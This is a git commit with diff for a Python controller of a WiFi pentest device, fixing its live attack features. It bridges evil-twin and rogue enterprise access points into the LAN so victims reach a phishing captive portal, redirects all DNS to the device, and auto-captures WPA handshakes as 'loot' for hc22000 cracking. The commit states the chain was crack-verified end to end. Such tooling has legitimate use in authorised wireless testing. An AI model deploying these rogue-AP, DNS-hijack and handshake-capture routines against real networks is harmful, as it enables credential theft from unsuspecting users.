fix(portals,dns,radio1,capture): live-validation fixes, verified on Pager 24.10.1
- portals: replace zipfile with struct+zlib ZIP reader (python3-light has no urllib; import endpoint was dead on device) - dns hijack: uci add_list/del_list for dhcp.@dnsmasq[0].address (list option; plain set was silently dropped from generated dnsmasq config) - radio1: bridge attack APs into br-lan via network.brlan.ports so victims get DHCP/portal reach; wlan1ent runtime-bridged after hostapd verify (retry loop may recreate the iface) - capture: auto-start pinned wlan1mon pcap on 5GHz WPA deploy, teardown on stop; loot flows via hc22000 export (crack-verified end-to-end) - enterprise: pineapd restart after ctrl link + re-assert PineAPE toggles Documented residual: pineapd refuses forwarding from foreign hostapd instances (broken pipe), and daemon set_ap rejects radio1 names - so hostap_handshake rows for radio1 twins and enterprise cred tables cannot populate without a Hak5 firmware change. New tests/test_validation_fixes.py covers each fix (TDD); full suite (29 modules) green.
This commit is contained in:
@@ -3481,9 +3481,13 @@ def _resume_hop():
|
||||
def _remove_radio1_ap():
|
||||
device_run(['uci', 'delete', 'wireless.wlan1open'])
|
||||
device_run(['uci', 'delete', 'wireless.wlan1wpa'])
|
||||
for iface in ('wlan1open', 'wlan1wpa'):
|
||||
device_run(['uci', 'del_list', 'network.brlan.ports=%s' % iface],
|
||||
timeout=10)
|
||||
device_run(['uci', 'set', 'wireless.radio1.channel=auto'])
|
||||
device_run(['uci', 'set', 'wireless.radio1.band=5g'])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['uci', 'commit', 'network'])
|
||||
_resume_hop()
|
||||
|
||||
|
||||
@@ -3530,7 +3534,12 @@ def _apply_radio1_ap(openap, wpa):
|
||||
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid.upper()):
|
||||
raise ValueError('invalid BSSID format')
|
||||
device_run(['uci', 'set', 'wireless.%s.macaddr=%s' % (iface, bssid.upper())])
|
||||
# Bridge the attack AP into the LAN segment (DHCP/portal reach).
|
||||
# netifd attaches the port once wifi reload creates the iface.
|
||||
device_run(['uci', 'del_list', 'network.brlan.ports=%s' % iface], timeout=10)
|
||||
device_run(['uci', 'add_list', 'network.brlan.ports=%s' % iface], timeout=10)
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['uci', 'commit', 'network'])
|
||||
_pause_hop()
|
||||
device_run(['wifi', 'reload'])
|
||||
|
||||
@@ -3773,12 +3782,15 @@ def _deploy_wpa_open(kind, fields):
|
||||
iface = 'wlan1open'
|
||||
if band != BAND_2G and kind == 'wpa':
|
||||
# pineapd only logs own-AP handshakes for the iface named in
|
||||
# pineapd.@hostapd[0].wpaiface (radio0). Pointing mgmtiface at the
|
||||
# pineapd.@hostapd[0].mgmtiface (radio0). Pointing mgmtiface at the
|
||||
# radio1 twin makes pineapd recognize it too, so hostap_handshake
|
||||
# rows and /root/loot/handshakes populate for 5 GHz attacks.
|
||||
device_run(['uci', 'set',
|
||||
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
# pineapd only reads mgmtiface at startup; a reload does not make it
|
||||
# accept the twin's hostapd connection (broken-pipe, no loot).
|
||||
device_run(['/etc/init.d/pineapd', 'restart'], timeout=25)
|
||||
_enable_attack_engine()
|
||||
_allow_all_ssids()
|
||||
# The daemon applies AP changes asynchronously; allow a full reload cycle.
|
||||
@@ -3794,9 +3806,18 @@ def _deploy_wpa_open(kind, fields):
|
||||
body={'configs': [daemon_cfg]}, timeout=45)
|
||||
if status == 200:
|
||||
verified = _verify_iface(iface, timeout=30)
|
||||
capture = None
|
||||
if verified and band != BAND_2G and kind == 'wpa':
|
||||
# pineapd will not log handshakes for this foreign hostapd instance;
|
||||
# loot the 4-ways from a pinned monitor capture instead.
|
||||
try:
|
||||
capture = _ensure_attack_capture('wlan1mon')
|
||||
except Exception:
|
||||
capture = None
|
||||
return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band,
|
||||
'channel': int(channel or 1), 'auto': fields.get('channel') is None,
|
||||
'verified': verified}
|
||||
'verified': verified,
|
||||
**({'capture': True} if capture else {})}
|
||||
|
||||
|
||||
def _disable_enterprise_ap(resume_hop=True):
|
||||
@@ -4348,13 +4369,24 @@ def _deploy_enterprise(fields):
|
||||
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
||||
if not verified:
|
||||
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % last_err)
|
||||
# wlan1ent is not netifd-managed and the retry loop may have recreated
|
||||
# it, so bridge it only after the instance is verified ENABLED; victims
|
||||
# otherwise associate but never reach DHCP/the portal.
|
||||
device_run(['brctl', 'addif', 'br-lan', ENT_IFACE], timeout=10)
|
||||
ctrl = {
|
||||
'pineap_enable': _ent_ctrl('pineap_enable')[0],
|
||||
'pineape_enable': _ent_ctrl('pineape_enable')[0],
|
||||
'pineape_auth_enable': _ent_ctrl('pineape_auth_enable')[0],
|
||||
}
|
||||
linked = _link_ent_ctrl()
|
||||
device_run(['/etc/init.d/pineapd', 'reload'], timeout=20)
|
||||
# Restart (not reload): pineapd must rescan the stock hostapd ctrl dir
|
||||
# at startup to accept wlan1ent's connection, or PineAPE auth events
|
||||
# never reach recon.db (hostap_basic/hostap_chalresp stay empty).
|
||||
device_run(['/etc/init.d/pineapd', 'restart'], timeout=25)
|
||||
# The restart drops pineapd-side peers; re-assert the instance toggles
|
||||
# so the fresh connection carries karma/PineAPE/auth-pass state.
|
||||
for _cmd in ('pineap_enable', 'pineape_enable', 'pineape_auth_enable'):
|
||||
_ent_ctrl(_cmd)
|
||||
try:
|
||||
with open(ENT_STATE, 'w') as f:
|
||||
json.dump({
|
||||
@@ -4554,6 +4586,11 @@ def h_attacks_stop(ctx):
|
||||
if rc == 0 and out.strip() == 'wlan1wpa':
|
||||
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
if kind == 'wpa':
|
||||
try:
|
||||
_teardown_attack_capture('wlan1mon')
|
||||
except Exception:
|
||||
pass
|
||||
# Leave hop alone if a radio1 AP is still active.
|
||||
if not _radio1_ap_active():
|
||||
_resume_hop()
|
||||
@@ -4594,13 +4631,54 @@ def _capture_state(pidfile, iface):
|
||||
return True, pid, False
|
||||
|
||||
|
||||
def _ensure_attack_capture(iface):
|
||||
"""Start a monitor pcap capture (best-effort). Returns info dict or None.
|
||||
|
||||
Used to auto-loot 5 GHz evil-twin EAPOL: pineapd refuses handshake
|
||||
forwarding from foreign hostapd instances on this firmware, so the
|
||||
passive wlan1mon capture (pinned to the twin's channel) is the only
|
||||
loot source; /api/attacks/export/hc22000 consumes it."""
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
running, old, _ = _capture_state(pidfile, iface)
|
||||
if running:
|
||||
return {'running': True, 'pid': old, 'iface': iface}
|
||||
capdir = '/root/loot/pcap'
|
||||
device_run(['mkdir', '-p', capdir], timeout=10)
|
||||
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
|
||||
errlog = '/tmp/mk8_capture_%s.log' % iface
|
||||
rc, out, err = device_run(
|
||||
['sh', '-c',
|
||||
'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s'
|
||||
% (iface, path, errlog, pidfile)], timeout=10)
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
pid = int(f.read().strip())
|
||||
except (OSError, ValueError):
|
||||
pid = None
|
||||
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
|
||||
return None
|
||||
return {'running': True, 'pid': pid, 'path': path, 'iface': iface}
|
||||
|
||||
|
||||
def _teardown_attack_capture(iface):
|
||||
"""Stop a monitor capture started by _ensure_attack_capture, if any."""
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
running, old, _ = _capture_state(pidfile, iface)
|
||||
if old is not None:
|
||||
device_run(['kill', str(old)], timeout=10)
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
except OSError:
|
||||
pass
|
||||
return running
|
||||
|
||||
|
||||
def h_attacks_capture(ctx):
|
||||
body = ctx.body or {}
|
||||
action = body.get('action') or 'status'
|
||||
iface = body.get('iface')
|
||||
if iface is not None and iface not in ('wlan0mon', 'wlan1mon'):
|
||||
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
|
||||
capdir = '/root/loot/pcap'
|
||||
if iface is None:
|
||||
# No iface requested: report whichever capture is actually running
|
||||
# across both monitors, else fall back to the default monitor. This
|
||||
@@ -4620,38 +4698,20 @@ def h_attacks_capture(ctx):
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
running, old, stale = _capture_state(pidfile, iface)
|
||||
if action == 'start':
|
||||
if running:
|
||||
return 200, {'running': True, 'pid': old, 'iface': iface}
|
||||
device_run(['mkdir', '-p', capdir], timeout=10)
|
||||
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
|
||||
errlog = '/tmp/mk8_capture_%s.log' % iface
|
||||
rc, out, err = device_run(
|
||||
['sh', '-c',
|
||||
'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s'
|
||||
% (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10)
|
||||
try:
|
||||
with open('/tmp/mk8_capture_%s.pid' % iface) as f:
|
||||
pid = int(f.read().strip())
|
||||
except (OSError, ValueError):
|
||||
pid = None
|
||||
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
|
||||
detail = (err or out)[-300:]
|
||||
result = _ensure_attack_capture(iface)
|
||||
if result is None:
|
||||
detail = ''
|
||||
try:
|
||||
with open(errlog) as f:
|
||||
detail = (detail + ' ' + f.read().strip())[-300:]
|
||||
with open('/tmp/mk8_capture_%s.log' % iface) as f:
|
||||
detail = f.read().strip()[-300:]
|
||||
except OSError:
|
||||
pass
|
||||
return 502, {'error': 'tcpdump failed to start',
|
||||
'iface': iface, 'detail': detail.strip()}
|
||||
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
|
||||
'iface': iface, 'detail': detail}
|
||||
return 200, result
|
||||
if action == 'stop':
|
||||
if old is not None:
|
||||
device_run(['kill', str(old)], timeout=10)
|
||||
try:
|
||||
os.unlink('/tmp/mk8_capture_%s.pid' % iface)
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'running': False, 'stopped': old, 'iface': iface}
|
||||
stopped = _teardown_attack_capture(iface)
|
||||
return 200, {'running': False, 'stopped': stopped, 'iface': iface}
|
||||
# status
|
||||
return 200, {'running': running, 'iface': iface,
|
||||
'stale': stale, 'pid': old}
|
||||
@@ -4835,17 +4895,72 @@ def _portal_list():
|
||||
return portals
|
||||
|
||||
|
||||
_EOCD_SIG = b'PK\x05\x06'
|
||||
_CDH_SIG = b'PK\x01\x02'
|
||||
|
||||
|
||||
def _zip_entries(data_bytes):
|
||||
"""Minimal ZIP reader built on struct+zlib only.
|
||||
|
||||
python3-light has no zipfile (it pulls pathlib -> urllib, both missing
|
||||
on Pager 24.10.1), so portal import parses the central directory by
|
||||
hand. Supports stored (0) and deflate (8); encrypted/zip64 -> ValueError.
|
||||
Returns {name: bytes} for file entries (directories skipped)."""
|
||||
import struct
|
||||
try:
|
||||
import zlib
|
||||
except ImportError:
|
||||
zlib = None
|
||||
eocd = data_bytes.rfind(_EOCD_SIG)
|
||||
if eocd < 0 or eocd + 22 > len(data_bytes):
|
||||
raise ValueError('not a valid zip file')
|
||||
(_, disk, cd_disk, _, n_total, cd_size, cd_off,
|
||||
_) = struct.unpack('<4sHHHHIIH', data_bytes[eocd:eocd + 22])
|
||||
if disk or cd_disk or n_total == 0xFFFF or cd_off == 0xFFFFFFFF:
|
||||
raise ValueError('unsupported zip layout (multi-disk/zip64)')
|
||||
pos, end = cd_off, min(cd_off + cd_size, len(data_bytes))
|
||||
out = {}
|
||||
while pos + 46 <= end:
|
||||
hdr = data_bytes[pos:pos + 46]
|
||||
if hdr[:4] != _CDH_SIG:
|
||||
break
|
||||
(_, _, _, flags, method, _, _, _, csize, _,
|
||||
nlen, elen, clen2, _, _, _, loff) = struct.unpack(
|
||||
'<4sHHHHHHIIIHHHHHII', hdr)
|
||||
name = data_bytes[pos + 46:pos + 46 + nlen].decode('utf-8', 'replace')
|
||||
pos += 46 + nlen + elen + clen2
|
||||
if name.endswith('/'):
|
||||
continue
|
||||
if flags & 0x1:
|
||||
raise ValueError('encrypted zip entries are not supported')
|
||||
lnlen, lelen = struct.unpack('<HH', data_bytes[loff + 26:loff + 30])
|
||||
start = loff + 30 + lnlen + lelen
|
||||
raw = data_bytes[start:start + csize]
|
||||
if len(raw) < csize:
|
||||
raise ValueError('truncated zip entry: %s' % name)
|
||||
if method == 0:
|
||||
out[name] = raw
|
||||
elif method == 8:
|
||||
if zlib is None:
|
||||
raise ValueError('deflate unavailable for zip entry: %s' % name)
|
||||
d = zlib.decompressobj(-15)
|
||||
out[name] = d.decompress(raw) + d.flush()
|
||||
else:
|
||||
raise ValueError('unsupported zip compression for: %s' % name)
|
||||
return out
|
||||
|
||||
|
||||
def _portal_import(data_bytes, requested_name=None):
|
||||
"""Import an uploaded zip (EvilPortalNano layout). Returns portal name."""
|
||||
import zipfile
|
||||
import io as _io
|
||||
if len(data_bytes) > PORTAL_MAX_ZIP_BYTES:
|
||||
raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES)
|
||||
try:
|
||||
zf = zipfile.ZipFile(_io.BytesIO(data_bytes))
|
||||
entries = _zip_entries(data_bytes)
|
||||
except ValueError:
|
||||
raise
|
||||
except Exception:
|
||||
raise ValueError('not a valid zip file')
|
||||
names = [n for n in zf.namelist() if n and not n.endswith('/')]
|
||||
names = sorted(entries)
|
||||
if not names:
|
||||
raise ValueError('empty zip file')
|
||||
for n in names:
|
||||
@@ -4864,7 +4979,7 @@ def _portal_import(data_bytes, requested_name=None):
|
||||
if n[len(prefix):].count('/') == 0 and n.endswith('.ep')]
|
||||
if ep_files:
|
||||
try:
|
||||
meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace'))
|
||||
meta = json.loads(entries[ep_files[0]].decode('utf-8', 'replace'))
|
||||
candidate = meta.get('name')
|
||||
if candidate and PORTAL_NAME_RE.match(str(candidate)):
|
||||
meta_name = str(candidate)
|
||||
@@ -4887,7 +5002,7 @@ def _portal_import(data_bytes, requested_name=None):
|
||||
raise ValueError('unsafe path in zip: %s' % src)
|
||||
os.makedirs(os.path.dirname(dest), exist_ok=True)
|
||||
with open(dest, 'wb') as f:
|
||||
f.write(zf.read(src))
|
||||
f.write(entries[src])
|
||||
return name
|
||||
|
||||
|
||||
@@ -4899,11 +5014,14 @@ def _lan_ip():
|
||||
|
||||
def _portal_dns_hijack(enable):
|
||||
ip = _lan_ip()
|
||||
# dhcp.@dnsmasq[0].address is a LIST option for the dnsmasq init script;
|
||||
# a plain `uci set` is silently dropped from /var/etc/dnsmasq.conf.*.
|
||||
opt = 'dhcp.@dnsmasq[0].address=/#/%s' % ip
|
||||
if enable:
|
||||
device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10)
|
||||
device_run(['uci', 'del_list', opt], timeout=10)
|
||||
device_run(['uci', 'add_list', opt], timeout=10)
|
||||
else:
|
||||
# Absent option / fresh config both fine; ignore failures.
|
||||
device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10)
|
||||
device_run(['uci', 'del_list', opt], timeout=10)
|
||||
device_run(['uci', 'commit', 'dhcp'], timeout=10)
|
||||
device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user